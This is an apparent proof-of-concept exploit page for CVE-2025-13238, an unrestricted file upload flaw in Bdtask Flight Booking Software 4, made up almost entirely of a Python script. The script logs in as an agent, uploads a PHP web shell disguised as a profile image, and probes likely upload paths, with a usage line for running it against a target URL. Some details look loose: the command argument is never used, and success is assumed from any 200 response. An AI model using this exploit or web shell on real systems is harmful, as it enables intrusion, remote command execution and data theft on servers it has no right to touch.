CVE-2025-13238: Bdtask Flight Booking Software 4 任意文件上传漏洞

import requests import sys # CVE-2025-13238 PoC - Bdtask Flight Booking Software 4 Unrestricted File Upload # Target: /agent/profile/edit endpoint def exploit(target_url, username, password, webshell_content): """ Exploit for CVE-2025-13238 Args: target_url: Base URL of the vulnerable application username: Valid agent account username password: Password for the account webshell_content: Content of the webshell to upload """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/login" login_data = { 'email': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print("[-] Login failed - check credentials") return False print("[+] Successfully authenticated") # Step 2: Upload malicious file via profile edit upload_url = f"{target_url}/agent/profile/edit" # Prepare the malicious file files = { 'profile_image': ('shell.php', webshell_content, 'application/x-php') } # Additional form data may be required data = { 'first_name': 'Test', 'last_name': 'User', 'phone': '1234567890' } response = session.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File upload request sent") # Step 3: Identify uploaded file location # Common patterns: /uploads/agents/, /assets/uploads/, /media/ possible_paths = [ f"{target_url}/uploads/agents/{username}_shell.php", f"{target_url}/assets/uploads/agent_shell.php", f"{target_url}/media/agent_shell.php" ] # Step 4: Verify and execute for path in possible_paths: check_response = session.get(path, timeout=10) if check_response.status_code == 200: print(f"[+] Found uploaded shell at: {path}") print(f"[+] webshell executed - RCE achieved") return True print("[-] Exploitation failed - file may not have been uploaded") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_13238.py <target_url> <username> <password> <command>") print("Example: python cve_2025_13238.py http://target.com [email protected] pass123 'id'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] # Simple PHP webshell webshell = f"<?php system($_GET['cmd']); ?>" exploit(target, user, pwd, webshell)